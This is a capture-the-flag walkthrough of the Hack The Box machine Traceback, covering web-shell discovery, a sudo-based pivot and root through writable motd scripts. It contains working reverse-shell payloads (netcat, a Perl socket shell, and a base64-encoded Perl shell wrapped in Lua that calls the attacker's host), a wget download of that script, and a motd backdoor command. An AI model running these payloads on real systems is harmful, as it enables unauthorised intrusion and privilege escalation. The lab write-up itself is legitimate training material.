Traceback - HackTheBox

Traceback is an easy Linux machine on Hack The Box in which we will take advantage of a PHP shell left from someone who defaced a website, use it to escalate to a more privileged user and then take advantage of lax permissions on /etc/update-motd.d to become root. Lets get into it!

Information gathering

As always, let's start with a quick port scan:

$ nmap -A -T4
Starting Nmap 7.80 ( ) at 2020-04-22 09:30 EDT
Nmap scan report for
Host is up (0.049s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Lets take a look at the homepage:

Looks like the site got defaced. Reading the source code gives us a hint:

		<h1>This site has been owned</h1>
		<h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
		<h3> - Xh4H - </h3>
		<!--Some of the best web shells that you might need ;)-->

Searching for the comment Some of the best web shells that you might need on Google allows us to find a repository called Web-Shells that contains a bunch of PHP web shells.

Lets clone the repository and create a file containing all the filenames:

$ git clone
Cloning into 'Web-Shells'...
remote: Enumerating objects: 76, done.
remote: Total 76 (delta 0), reused 0 (delta 0), pack-reused 76
Unpacking objects: 100% (76/76), 1.85 MiB | 1.74 MiB/s, done.
$ cd Web-Shells/
$ ls *.php > shells.txt

Now we can use this list to fuzz the website:

$ ffuf -c -r -ac -w shells.txt -u
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/


 :: Method           : GET
 :: URL              :
 :: Follow redirects : true
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response size: 312
 :: Filter           : Response words: 22
 :: Filter           : Response lines: 12

smevk.php               [Status: 200, Size: 1261, Words: 318, Lines: 59]
:: Progress: [16/16] :: Job [1/1] :: 8 req/sec :: Duration: [0:00:02] :: Errors: 0 ::

Looks like we found one! Let's visit the url:

There is a login, let's take a look at the source code of smevk.php from the previously cloned repository:


SmEvK_PaThAn Shell v3 Coded by Kashif Khan .
Edit Shell according to your choice.
Domain read bypass.

//Make your setting here.
$deface_url = '';  //deface url here(pastebin).
$UserName = "admin";                                      //Your UserName here.
$auth_pass = "admin";                                  //Your Password.
//Change Shell Theme here//
$color = "#8B008B";                                   //Fonts color modify here.
$Theme = '#8B008B';                                    //Change border-color accoriding to your choice.
$TabsColor = '#0E5061';                              //Change tabs color here.


And luckily the credentials were not changed: This looks straight out of a 90s hacking movie!

Command execution

We can see from the top of the page that we are logged in as user webadmin and now we have a way to execute commands on the machine. Taking a look around allows us to find a file called note.txt in the user's home so lets read it:

$ cat /home/webadmin/note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

Some interesting information can be found in .bash_history:

$ cat .bash_history
ls -la
sudo -l
nano privesc.lua
sudo -u sysadmin /home/sysadmin/luvit privesc.lua
rm privesc.lua

Indeed running sudo -l tells us that we have the permission to run /home/sysadmin/luvit as the user sysadmin without having to enter the password:

$ sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass,

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit

The bash history file suggests that luvit can run a lua file, so lets try to get a reverse shell as sysadmin by running this on the web shell console:

$ echo 'os.execute("nc 1337 -c /bin/sh")' > /tmp/rev.lua

And after setting our netcat listener with nc -lnvp 1337 lets run it with:

$ sudo -u sysadmin /home/sysadmin/luvit /tmp/rev.lua

And nothing happens, probably netcat is compiled without -c and -e options, so lets try to use Perl instead using the following payload:

perl -e 'use Socket;$i="";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Because we can only run lua files, we can base64 encode the perl payload so that we don't have to mess with escaping quotes and write a lua script that will decode it and in as a system command. Lets create a file called rev.lua:

local b='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
function dec(data)
    data = string.gsub(data, '[^'..b..'=]', '')
    return (data:gsub('.', function(x)
        if (x == '=') then return '' end
        local r,f='',(b:find(x)-1)
        for i=6,1,-1 do r=r..(f%2^i-f%2^(i-1)>0 and '1' or '0') end
        return r;
    end):gsub('%d%d%d?%d?%d?%d?%d?%d?', function(x)
        if (#x ~= 8) then return '' end
        local c=0
        for i=1,8 do c=c+(x:sub(i,i)=='1' and 2^(8-i) or 0) end
        return string.char(c)

local encoded_payload = 'cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTAuMTAuMTQuMTM1IjskcD0xMzM3O3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vc2ggLWkiKTt9Oyc='
local payload = dec(encoded_payload)

After starting a HTTP server with python -m http.server 1337, lets use the web shell console to download the file on the remote machine:

wget -O /tmp/rev.lua

And after running it again as before we now have a connection on our netcat listener:

$ nc -lnvp 1337
Ncat: Version 7.80 ( )
Ncat: Listening on :::1337
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
/bin/sh: 0: can't access tty; job control turned off
$ whoami

Lets use python to get a better shell:

python3 -c "import pty; pty.spawn('/bin/bash')"

And let's finally get the flag:

sysadmin@traceback:~$ wc -c user.txt
33 user.txt

Privilege escalation

First of all, let's create a SSH key with ssh-keygen on our machine and lets add the public key to /home/sysadmin/.ssh/authorized_keys and use it to login:

$ ssh -i sysadmin sysadmin@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:7PFVHQKwaybxzyT2EcuSpJvyQcAASWY9E/TlxoqxInU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -

Welcome to Xh4H land

Failed to connect to Check your Internet connection or proxy settings

Last login: Fri Aug 14 11:34:08 2020 from
$ bash

Looking at the list of running processes, we can see an interesting one:

root       3518  0.0  0.0   4628   780 ?        Ss   07:03   0:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/

Basically all the scripts in /etc/update-motd.d are executed as root when logging in with ssh to create the welcome banner. Lets take a look at the permission of the files:

sysadmin@traceback:~ ls -la /etc/update-motd.d
total 32
drwxr-xr-x  2 root sysadmin 4096 Aug 27  2019 .
drwxr-xr-x 80 root root     4096 Mar 16 03:55 ..
-rwxrwxr-x  1 root sysadmin  981 Aug 14 12:51 00-header
-rwxrwxr-x  1 root sysadmin  982 Aug 14 12:51 10-help-text
-rwxrwxr-x  1 root sysadmin 4264 Aug 14 12:51 50-motd-news
-rwxrwxr-x  1 root sysadmin  604 Aug 14 12:51 80-esm
-rwxrwxr-x  1 root sysadmin  299 Aug 14 12:51 91-release-upgrade

We can modify them! We can reuse the same lua script that we used before to get a reverse shell as root by adding it at the end of 00-header:

sysadmin@traceback:~$ echo '/home/sysadmin/luvit /tmp/rev.lua' >> /etc/update-motd.d/00-header

And after logging in with ssh, we should get a connection:

$ nc -lnvp 1337
Ncat: Version 7.80 ( )
Ncat: Listening on :::1337
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
/bin/sh: 0: can't access tty; job control turned off
# whoami

And lets get the flag:

# wc -c /root/root.txt
33 /root/root.txt

Thanks for reading!